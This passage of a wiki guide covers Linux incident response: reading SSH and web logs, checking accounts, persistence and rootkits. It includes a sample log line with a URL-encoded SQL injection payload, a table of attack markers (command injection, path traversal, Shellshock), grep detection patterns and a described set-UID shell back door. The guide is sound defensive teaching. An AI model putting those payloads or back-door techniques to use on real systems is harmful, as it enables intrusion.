Example output (addresses here are from the reserved documentation ranges, not real hosts):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
Sep 10 13:58:01 web sshd[911]: Failed password for root from 198.51.100.7 port 51522 ssh2&lt;br /&gt;
Sep 10 13:58:03 web sshd[911]: Failed password for invalid user admin from 198.51.100.7 port 51530 ssh2&lt;br /&gt;
Sep 10 13:58:09 web sshd[917]: Failed password for root from 198.51.100.7 port 51544 ssh2&lt;br /&gt;
Sep 10 13:59:40 web sshd[930]: Accepted password for deploy from 198.51.100.7 port 51601 ssh2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The pattern to worry about is &#039;&#039;&#039;many failures, then a success, from the same address&#039;&#039;&#039;, especially for an account that should never log in from that place. Confirm with the login records:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
last -aiF | head -20               # recent logins with full timestamps and source IPs&lt;br /&gt;
sudo lastb -aiF | head -20         # recent failed logins&lt;br /&gt;
lastlog | grep -v &amp;quot;Never logged in&amp;quot;&lt;br /&gt;
journalctl -u ssh --since &amp;quot;2026-09-10&amp;quot; -g &amp;quot;Accepted&amp;quot;   # the unit is &amp;quot;sshd&amp;quot; on RHEL-family systems&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Be aware that these records are easy to lose: &amp;lt;code&amp;gt;wtmp&amp;lt;/code&amp;gt; is often rotated (truncated) weekly or monthly, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt; may not be kept at all because failed logins can contain mistyped passwords, and &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt;&#039;s format varies between systems.&lt;br /&gt;
&lt;br /&gt;
Success by public key leaves a different line (&amp;lt;code&amp;gt;Accepted publickey for ...&amp;lt;/code&amp;gt;). If you see one for a key you do not recognize, go straight to [[#Step 4: Persistence|persistence]] and check &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Web applications ===&lt;br /&gt;
&lt;br /&gt;
Web server access logs record one line per request. In the common &amp;quot;combined&amp;quot; format the fields are: client address, timestamp, request line, status code, response size in bytes, referrer and User-Agent.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
198.51.100.9 - - [10/Sep/2026:14:03:01 +0000] &amp;quot;GET /item.php?id=1%27%20UNION%20SELECT%20user,pass%20FROM%20users--%20- HTTP/1.1&amp;quot; 500 1024 &amp;quot;-&amp;quot; &amp;quot;sqlmap/1.7&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Start with an overview, and then zoom in on one address:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
LOG=/var/log/apache2/access.log     # /var/log/nginx/access.log, or /var/log/httpd/access_log&lt;br /&gt;
&lt;br /&gt;
awk &#039;{print $1}&#039; $LOG | sort | uniq -c | sort -nr | head     # busiest clients&lt;br /&gt;
awk &#039;{print $9}&#039; $LOG | sort | uniq -c | sort -nr            # status code counts&lt;br /&gt;
grep &#039;^198.51.100.9 &#039; $LOG                                   # everything one client did&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Attackers usually send their payload URL-encoded (&amp;lt;code&amp;gt;%27&amp;lt;/code&amp;gt; is &amp;lt;code&amp;gt;&#039;&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%20&amp;lt;/code&amp;gt; is a space). Decode the lines you are reading:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
grep &#039;^198.51.100.9 &#039; $LOG | python3 -c &#039;import sys,urllib.parse as u; [print(u.unquote(l),end=&amp;quot;&amp;quot;) for l in sys.stdin]&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
(A plain &amp;lt;code&amp;gt;+&amp;lt;/code&amp;gt; in a query string can also mean a space; &amp;lt;code&amp;gt;unquote&amp;lt;/code&amp;gt; leaves it alone so timestamps such as &amp;lt;code&amp;gt;+0000&amp;lt;/code&amp;gt; stay readable.)&lt;br /&gt;
&lt;br /&gt;
==== What common web attacks look like in the log ====&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Attack !! What to look for in the request !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| SQL injection || &amp;lt;code&amp;gt;&#039;&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;%27&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;UNION SELECT&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;OR 1=1&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;--&amp;lt;/code&amp;gt;, or an automated-tool User-Agent such as &amp;lt;code&amp;gt;sqlmap&amp;lt;/code&amp;gt; || A burst of &amp;lt;code&amp;gt;500&amp;lt;/code&amp;gt; errors from one client while it probes is typical. A later run of &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; responses with unusually large sizes can mean data came back.&lt;br /&gt;
|-&lt;br /&gt;
| Cross-site scripting (XSS) || &amp;lt;code&amp;gt;&amp;amp;lt;script&amp;amp;gt;&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;%3Cscript&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;onerror=&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;javascript:&amp;lt;/code&amp;gt; || Reflected XSS shows in the URL. Stored XSS is usually submitted in a POST body, which is not logged (see below).&lt;br /&gt;
|-&lt;br /&gt;
| Path traversal / file inclusion || &amp;lt;code&amp;gt;../&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;..%2f&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%2e%2e&amp;lt;/code&amp;gt;, or a path like &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; in a parameter || A &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; with a plausible response size means the file may have been returned.&lt;br /&gt;
|-&lt;br /&gt;
| Command injection || Shell metacharacters (&amp;lt;code&amp;gt;;&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%3B&amp;lt;/code&amp;gt;, backticks, &amp;lt;code&amp;gt;$(&amp;lt;/code&amp;gt;) followed by commands like &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;curl&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/bin/sh&amp;lt;/code&amp;gt; || Confirm with the process tree: did the web server user spawn anything?&lt;br /&gt;
|-&lt;br /&gt;
| Shellshock (CVE-2014-6271) || &amp;lt;code&amp;gt;() {&amp;lt;/code&amp;gt; at the start of a header value, usually User-Agent, against a &amp;lt;code&amp;gt;/cgi-bin/&amp;lt;/code&amp;gt; script || Old and long patched, but a good example: the attack rides in a header, not the URL.&lt;br /&gt;
|-&lt;br /&gt;
| Web shell upload || A POST to an upload form, then GET requests to a brand-new &amp;lt;code&amp;gt;.php&amp;lt;/code&amp;gt; file in the upload directory || Look for files the application should not have created.&lt;br /&gt;
|-&lt;br /&gt;
| Scanning and reconnaissance || Many &amp;lt;code&amp;gt;404&amp;lt;/code&amp;gt;s, requests for &amp;lt;code&amp;gt;/.env&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/wp-login.php&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/phpmyadmin&amp;lt;/code&amp;gt;, or scanner User-Agents || Common and usually harmless on its own; it tells you who was looking, not who got in.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# starting-point searches (expect some false positives; refine them as much as you can before you start trustung their results)&lt;br /&gt;
grep -iE &amp;quot;union.{1,10}select|sqlmap|%27&amp;quot; $LOG            # SQL injection&lt;br /&gt;
grep -iE &amp;quot;&amp;lt;script|%3Cscript|onerror=&amp;quot; $LOG               # XSS&lt;br /&gt;
grep -E &amp;quot;\.\./|%2e%2e|/etc/passwd&amp;quot; $LOG                   # path traversal&lt;br /&gt;
grep -E &#039;\(\) *\{&#039; $LOG                                   # Shellshock-style header&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Important limits of access logs.&#039;&#039;&#039; The server does not log &#039;&#039;&#039;POST bodies&#039;&#039;&#039; or, by default, most headers other than User-Agent and Referer. An injection sent by POST leaves only a bare &amp;lt;code&amp;gt;POST /login&amp;lt;/code&amp;gt; line. To see those attacks you need application logs, database query logs, or a web application firewall (for example ModSecurity) that records rejected requests. Also, a &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; status only means the request was served, not that the attack worked, and a &amp;lt;code&amp;gt;500&amp;lt;/code&amp;gt; does not mean it failed.&lt;br /&gt;
&lt;br /&gt;
==== From a request to a compromise ====&lt;br /&gt;
&lt;br /&gt;
A logged attack request proves that someone &#039;&#039;tried&#039;&#039; to attack. To decide whether it &#039;&#039;worked&#039;&#039;, follow it into the rest of the system:&lt;br /&gt;
&lt;br /&gt;
* Did a process appear in the tree, owned by the web server user (&amp;lt;code&amp;gt;www-data&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;apache&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;nginx&amp;lt;/code&amp;gt;), just after the request timestamp?&lt;br /&gt;
* Is that process holding a network connection to an address that is not one of your users or dependencies?&lt;br /&gt;
* Are there new or modified files in the web root, &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt; from about the same time?&lt;br /&gt;
* Did the same client address go on to do anything else (a second request type, a login)?&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# files in the web root changed in the last 2 days&lt;br /&gt;
sudo find /var/www -type f -mtime -2 -ls&lt;br /&gt;
&lt;br /&gt;
# PHP files that call functions commonly used by web shells (often noisy)&lt;br /&gt;
sudo grep -RIlE &amp;quot;(eval|assert|system|passthru|shell_exec|proc_open)[[:space:]]*\(&amp;quot; /var/www --include=*.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Step 3: What did they do? ==&lt;br /&gt;
&lt;br /&gt;
=== Privilege escalation and account activity ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo grep -E &amp;quot;sudo:|su\[|su:&amp;quot; /var/log/auth.log | grep -E &amp;quot;COMMAND=|session opened&amp;quot;   # who ran what as root&lt;br /&gt;
sudo grep -E &amp;quot;useradd|usermod|groupadd|passwd\[&amp;quot; /var/log/auth.log                     # account changes&lt;br /&gt;
awk -F: &#039;$3==0 {print $1}&#039; /etc/passwd            # accounts with UID 0 should be only &amp;quot;root&amp;quot;&lt;br /&gt;
sudo awk -F: &#039;$2==&amp;quot;&amp;quot; {print $1}&#039; /etc/shadow      # accounts with an empty password&lt;br /&gt;
grep -vE &#039;(nologin|false)$&#039; /etc/passwd           # accounts that can log in interactively&lt;br /&gt;
ls -l /etc/sudoers.d/; sudo grep -rvE &#039;^\s*(#|$)&#039; /etc/sudoers /etc/sudoers.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A second UID-0 account, or a regular user suddenly present in &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;, is a strong indicator. Attackers who want to blend in often reuse existing accounts rather than create obvious new ones, so also check that service accounts (such as &amp;lt;code&amp;gt;www-data&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;mysql&amp;lt;/code&amp;gt;) still have a non-login shell and no usable password hash in &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;, and that nobody has been quietly added to a privileged group in &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Command history ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo sh -c &#039;ls -l /root/.bash_history /home/*/.bash_history&#039;   # empty? a symlink to /dev/null? recently truncated?&lt;br /&gt;
sudo sh -c &#039;cat /root/.bash_history /home/*/.bash_history&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
What to keep in mind about &amp;lt;code&amp;gt;.bash_history&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
* Bash writes history when a shell exits, so a session that is still open, or that was killed, may not be recorded yet. On a live system the missing commands are only in memory (see the &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; plugin in [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).&lt;br /&gt;
* It has &#039;&#039;&#039;no timestamps&#039;&#039;&#039; by default (unless &amp;lt;code&amp;gt;HISTTIMEFORMAT&amp;lt;/code&amp;gt; was set). To date a command, match it with other evidence:a log line, a file&#039;s timestamp, or a process start time. For example, a &amp;lt;code&amp;gt;useradd&amp;lt;/code&amp;gt; in the history can be tied to the log entry for the new account and the modification time of &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;.&lt;br /&gt;
* It is a plain text file. Attackers can edit or delete it, clear it (&amp;lt;code&amp;gt;history -c&amp;lt;/code&amp;gt;), unset &amp;lt;code&amp;gt;HISTFILE&amp;lt;/code&amp;gt;, or link it to &amp;lt;code&amp;gt;/dev/null&amp;lt;/code&amp;gt;. Older copies sometimes survive in the disk&#039;s unallocated space, so searching a disk image for typical command strings can recover deleted history.&lt;br /&gt;
* An &#039;&#039;empty or missing&#039;&#039; history on an account that is otherwise active is itself worth noting.&lt;br /&gt;
&lt;br /&gt;
=== Other traces users leave behind ===&lt;br /&gt;
&lt;br /&gt;
Interactive use of a Linux system leaves small traces in the user&#039;s home directory. Individually minor, they often fill in the story:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! File (in the user&#039;s home directory) !! What it can show&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/authorized_keys&amp;lt;/code&amp;gt; || Keys that can log in &#039;&#039;to&#039;&#039; this account. Any key you do not recognize is a possible back door.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/known_hosts&amp;lt;/code&amp;gt; || Machines this user connected &#039;&#039;out to&#039;&#039; over SSH. It shows an SSH connection was made, not that the login succeeded. Entries can be hashed, hiding the addresses.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/config&amp;lt;/code&amp;gt; || Shortcuts, user names and jump hosts the user set up, which can reveal other systems they reach.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.lesshst&amp;lt;/code&amp;gt; || Search terms typed into the &amp;lt;code&amp;gt;less&amp;lt;/code&amp;gt; pager, and commands run from inside it.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.viminfo&amp;lt;/code&amp;gt; || Files recently edited in &amp;lt;code&amp;gt;vim&amp;lt;/code&amp;gt; (with the position in each), plus its search and command history.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.local/share/recently-used.xbel&amp;lt;/code&amp;gt; || Files opened through the desktop file manager, with timestamps (only on systems with a desktop).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.local/share/Trash/&amp;lt;/code&amp;gt; || Files deleted through the desktop; the &amp;lt;code&amp;gt;info/&amp;lt;/code&amp;gt; folder records where each came from.&lt;br /&gt;
|-&lt;br /&gt;
| Browser profiles (Firefox, Chromium) || Browsing, downloads and saved sessions on desktop systems.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== The audit framework ===&lt;br /&gt;
&lt;br /&gt;
If &amp;lt;code&amp;gt;auditd&amp;lt;/code&amp;gt; is installed and configured, it is the best source for &amp;quot;who ran what.&amp;quot; For example, with a rule that watches account files:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# in /etc/audit/rules.d/identity.rules&lt;br /&gt;
-w /etc/passwd -p wa -k identity&lt;br /&gt;
-w /etc/shadow -p wa -k identity&lt;br /&gt;
&lt;br /&gt;
# later, when investigating&lt;br /&gt;
sudo ausearch -k identity -i         # events that matched the rule, human-readable&lt;br /&gt;
sudo aureport -au                    # authentication summary&lt;br /&gt;
&lt;br /&gt;
# the same tools can read logs copied off a machine or mounted from an image&lt;br /&gt;
sudo ausearch --if /mnt/data/var/log/audit -i -c useradd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If keystroke (TTY) auditing was enabled, &amp;lt;code&amp;gt;aureport --tty&amp;lt;/code&amp;gt; can show what was typed. Auditing has to be set up &#039;&#039;before&#039;&#039; the incident; it cannot reconstruct events that were never recorded.&lt;br /&gt;
&lt;br /&gt;
== Step 4: Persistence ==&lt;br /&gt;
&lt;br /&gt;
Attackers who got in once want to be able to get back in. Some do not bother (opportunistic cryptocurrency miners are sometimes dropped with no persistence at all), but many do. Check every place a program can be made to start again on its own:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# scheduled tasks&lt;br /&gt;
cat /etc/crontab; ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily&lt;br /&gt;
sudo ls -la /var/spool/cron/crontabs/          # /var/spool/cron/ on RHEL family&lt;br /&gt;
sudo ls -la /var/spool/cron/atjobs/ 2&amp;gt;/dev/null   # one-time &amp;quot;at&amp;quot; jobs (Debian/Ubuntu)&lt;br /&gt;
systemctl list-timers --all&lt;br /&gt;
&lt;br /&gt;
# services and units&lt;br /&gt;
systemctl list-unit-files --state=enabled&lt;br /&gt;
sudo find /etc/systemd /usr/lib/systemd -type f -newermt &amp;quot;2026-09-01&amp;quot;&lt;br /&gt;
ls -la ~/.config/systemd/user 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# SSH keys (any key listed here can log in as that user with no password)&lt;br /&gt;
sudo find / -xdev -name authorized_keys -exec ls -l {} \;&lt;br /&gt;
sudo sh -c &#039;cat /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys&#039; 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# shell start-up files that run at every login&lt;br /&gt;
ls -la /etc/profile.d/ ~/.bashrc ~/.profile /root/.bashrc&lt;br /&gt;
&lt;br /&gt;
# programs injected into every process (normally this file is absent or empty)&lt;br /&gt;
cat /etc/ld.so.preload 2&amp;gt;/dev/null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Older systems use init scripts under &amp;lt;code&amp;gt;/etc/init*&amp;lt;/code&amp;gt; instead of (or as well as) systemd. And remember that an attacker who wants to be less obvious may leave the cron entry or service unit alone and instead modify a &#039;&#039;&#039;script that a legitimate task already runs&#039;&#039;&#039;. Look at what your scheduled tasks and services actually execute, not only at their configuration.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Back doors beyond start-up entries:&#039;&#039;&#039; a web shell in the web root; a replacement &amp;lt;code&amp;gt;sshd&amp;lt;/code&amp;gt; with a built-in password; an extra UID 0 account; a service account given a password; an added &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt; line; a broadened &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt; entry; and the set-UID trick below.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Set-UID/set-GID programs.&#039;&#039;&#039; A program with the set-UID bit runs with its &#039;&#039;owner&#039;s&#039;&#039; privileges rather than the user&#039;s (this is how &amp;lt;code&amp;gt;passwd&amp;lt;/code&amp;gt; can update &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;). An attacker with root can copy a shell, turn on the set-UID bit and leave it somewhere quiet; anyone who can run it (with &amp;lt;code&amp;gt;-p&amp;lt;/code&amp;gt;, so it does not drop its privileges) is root again.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# set-UID / set-GID programs anywhere outside /usr (there should be very few)&lt;br /&gt;
sudo find / \( -path /proc -o -path /sys \) -prune -o -type f \( -perm -4000 -o -perm -2000 \) ! -path &#039;/usr/*&#039; -ls 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# the full list of set-UID programs&lt;br /&gt;
sudo find / -xdev -perm -4000 -type f 2&amp;gt;/dev/null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Compare the full list against a clean machine of the same OS, the same baseline-and-&amp;lt;code&amp;gt;diff&amp;lt;/code&amp;gt; technique used on [[Intermediate Service Auditing]]. Also revisit [[#Where attackers stage files|where attackers stage files]]: names that imitate system files but sit in the wrong place, executables in &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;, and dot-prefixed directories under &amp;lt;code&amp;gt;/usr&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev&amp;lt;/code&amp;gt; are all worth a closer look.&lt;br /&gt;
&lt;br /&gt;
=== A post-exploitation checklist ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Check !! How&lt;br /&gt;
|-&lt;br /&gt;
| New or unexpected SSH keys || Read every &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt;. If you find one, search your other machines for the same key.&lt;br /&gt;
|-&lt;br /&gt;
| Unexpected group members || Compare &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt; against what you expect, especially groups named in &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| Unlocked service accounts || Service accounts should have &amp;lt;code&amp;gt;nologin&amp;lt;/code&amp;gt; (or &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;) as their shell and no valid password hash in &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| Extra UID 0 accounts || &amp;lt;code&amp;gt;awk -F: &#039;$3==0&#039; /etc/passwd&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Edited sudo rules || Read &amp;lt;code&amp;gt;/etc/sudoers&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/etc/sudoers.d/&amp;lt;/code&amp;gt; directly.&lt;br /&gt;
|-&lt;br /&gt;
| Unauthorized set-UID bits || The &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt; commands above.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Step 5: Rootkits and tampering ==&lt;br /&gt;
&lt;br /&gt;
A &#039;&#039;&#039;rootkit&#039;&#039;&#039; is malware built to hide itself and the attacker&#039;s other activity. Two kinds are common on Linux:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;User-space (library preload) rootkits&#039;&#039;&#039; install a malicious shared library and make every program load it (through &amp;lt;code&amp;gt;/etc/ld.so.preload&amp;lt;/code&amp;gt; or the &amp;lt;code&amp;gt;LD_PRELOAD&amp;lt;/code&amp;gt; variable), so that &amp;lt;code&amp;gt;ls&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt; and friends quietly leave out the attacker&#039;s files, processes and connections. Older rootkits simply replaced those programs.&lt;br /&gt;
* &#039;&#039;&#039;Kernel-module (LKM) rootkits&#039;&#039;&#039; load a malicious kernel module that intercepts system calls (for example the ones that list directories or send signals) and can hide from the operating system itself. Older families such as t0rn hid their files in look-alike, dot-prefixed directories (for example under &amp;lt;code&amp;gt;/usr/src&amp;lt;/code&amp;gt;) and included a helper that scrubbed matching lines from log files, but the ideas are the same today.&lt;br /&gt;
&lt;br /&gt;
=== Signs something is being hidden ===&lt;br /&gt;
&lt;br /&gt;
* Basic tools misbehave, disagree with each other, or stop working (&amp;lt;code&amp;gt;ls&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt; failing on an otherwise healthy system).&lt;br /&gt;
* A listening port shows in a port scan from another machine but not in &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt; on the host.&lt;br /&gt;
* Disk usage that does not add up, or CPU usage with no process to explain it.&lt;br /&gt;
* Logs with unexplained gaps, zero-length files (&amp;lt;code&amp;gt;/var/log/wtmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt;) or timestamps that jump backwards.&lt;br /&gt;
* A &amp;quot;tainted&amp;quot; kernel: &amp;lt;code&amp;gt;cat /proc/sys/kernel/tainted&amp;lt;/code&amp;gt; is non-zero. Legitimate causes exist (proprietary or out-of-tree drivers), so treat it as a reason to ask &amp;quot;which module?&amp;quot;, not a verdict.&lt;br /&gt;
&lt;br /&gt;
=== Detection tools ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo apt install rkhunter chkrootkit       # or dnf install on RHEL-family (EPEL)&lt;br /&gt;
sudo rkhunter --check --sk --rwo           # run all checks; skip keypress prompts; report warnings only&lt;br /&gt;
sudo chkrootkit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;chkrootkit&amp;lt;/code&amp;gt; compare the system against known signatures and known-bad file locations and look for suspicious changes. Findings are logged (for rkhunter, in &amp;lt;code&amp;gt;/var/log/rkhunter.log&amp;lt;/code&amp;gt;). They are a quick extra check, not the main method. Treat their output as leads:&lt;br /&gt;
&lt;br /&gt;
* They are &#039;&#039;&#039;signature-based&#039;&#039;&#039;: they recognize rootkits they already know about, so a clean report says little about new or custom tools (false negatives), and a warning does not prove a rootkit (false positives). &amp;lt;code&amp;gt;chkrootkit&amp;lt;/code&amp;gt; in particular sees little development, and many investigators no longer rely on it.&lt;br /&gt;
* They run &#039;&#039;on&#039;&#039; the suspect system. Against a kernel-level rootkit, the tool is being lied to as well. Where it matters, examine the disk from trusted boot media or a copy of the disk image, and analyze memory from outside the machine (see [[#Going deeper: memory analysis with Volatility 3|Volatility]]).&lt;br /&gt;
* &amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; is much more useful if you run &amp;lt;code&amp;gt;sudo rkhunter --propupd&amp;lt;/code&amp;gt; on a known-clean system first, so later runs can detect changed files.&lt;br /&gt;
&lt;br /&gt;
=== Verify installed files against the package manager ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo apt install debsums &amp;amp;&amp;amp; sudo debsums -c      # Debian/Ubuntu: list installed files whose checksum changed&lt;br /&gt;
sudo rpm -Va                                      # RHEL family: verify all packages&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A modified &amp;lt;code&amp;gt;/bin/ls&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/usr/bin/ps&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;sshd&amp;lt;/code&amp;gt; that does not match its package is a serious finding. (Configuration files legitimately differ, and a determined attacker can also tamper with the package database, so this is one more piece of evidence, not proof of health.)&lt;br /&gt;
&lt;br /&gt;
=== Cross-checking tools against each other ===&lt;br /&gt;
&lt;br /&gt;
Because a rootkit typically fools some tools but not others, disagreement is informative:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo /usr/src/.*                  # the shell&#039;s own glob expansion; does it show entries ls hides?&lt;br /&gt;
ls /proc | grep -E &#039;^[0-9]+$&#039; | wc -l ; ps -e --no-headers | wc -l     # process count via /proc vs via ps&lt;br /&gt;
sudo apt install unhide &amp;amp;&amp;amp; sudo unhide proc                             # look for processes hidden from ps&lt;br /&gt;
lsmod                                                                     # compare to a known-good machine&#039;s module list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
